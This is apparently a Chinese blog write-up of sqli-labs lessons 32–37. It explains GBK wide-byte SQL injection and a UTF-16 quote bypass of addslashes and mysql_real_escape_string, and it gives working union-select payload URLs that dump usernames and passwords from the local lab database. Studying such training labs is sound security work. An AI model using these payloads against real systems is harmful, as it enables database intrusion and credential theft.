Loading

sqli-labs lesson 32-37

宽字节注入:

原理:mysql在使用GBK编码的时候,会认为两个字符为一个汉字,例如%aa%5c就是一个汉字(前一个ascii码大于128才能到汉字的范围)。我们在过滤 ' 的时候(也就是从防御的角度),往往利用的思路是将 ' 转换为 \' (转换的函数或者思路会在每一关遇到的时候介绍)。

因此我们在此想办法将 ' 前面添加的 \ 除掉,一般有两种思路:

  1. %df吃掉 \ 具体的原因是urlencode(\') = %5c%27,我们在%5c%27前面添加%df,形成%df%5c%27,而上面提到的mysql在GBK编码方式的时候会将两个字节当做一个汉字,此时%df%5c就是一个汉字,%27则作为一个单独的符号在外面,同时也就达到了我们的目的。
  2. 将 \' 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27的情况,后面的%5c会被前面的%5c给注释掉。这也是bypass的一种方法。

 less 32

执行:

http://127.0.0.1/sqli-labs-master/Less-32/?id=0%df' union select 1,2,database() --+

可以看到df5c已经被当作了一个字符,从而绕过了源代码对于 ' 的过滤

 

 下面步骤基本和less 1 一致(在爆字段名的时候遇见问题,如果最后是用 table_name = 'users'  的话那么这里

的单引号如何进行绕过呢?)

附上结果

 

 

 

 less 33

与less 32一致 宽字节注入即可。唯一不同的是使用函数addslashes()

 

 

 

 

 

less 34

这里变为了post型,而post传入数据时会再次编码

可以通过抓包改包进行绕过,改包时需要把uname中多的%25中的25删掉即可

然后介绍一下另一种方式,因为get型是以url形式提交参数,数据会直接通过URLencode

这里可以直接将utf-8转换为utf-16 比如 ' 在utf-16中为 (win2003为

 

 也可执行:

'union select 1,concat_ws(0x7e,username,password) from users limit 0,1#  获得数据库信息

 

 

less 35

此处id没有用‘’包裹,所以也没必要考虑check_addslashes()

直接构造payload:这里不用--+注释也可以出结果

http://127.0.0.1/sqli-labs-master/Less-35/?id=0 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+

 

 less 36

观察源码:

注意下面的函数,利用了mysql_real_escape_string()函数,这个函数和最开始的几关一样的

 

 

 但是因为数据库没有设置成GBK所以还是可以和前面几关一样构造payload

1. ' 的utf-16格式绕过(在utf-16中单引号为:%EF%BF%BD%27):

?id=0%EF%BF%BD%27 union select 1,2,concat_ws(0x7e,username,password) from security.users limit 0,1 --+

 

 

2. 利用%df进行宽字节注入:

 ?id=0%df'union select 1,2,concat_ws(0x7e,username,password) from security.users limit 0,1 --+

 

 

 

 

 less 37

和less 34类似,只不过函数换成了mysql_real_escape_string()而不是addslashes()

使用utf-16的单引号绕过之后使用万能密码即可。

 

 

 

 

参考文章:lcamry

posted @ 2020-03-16 17:14  Zh1z3ven  阅读(101)  评论(0编辑  收藏  举报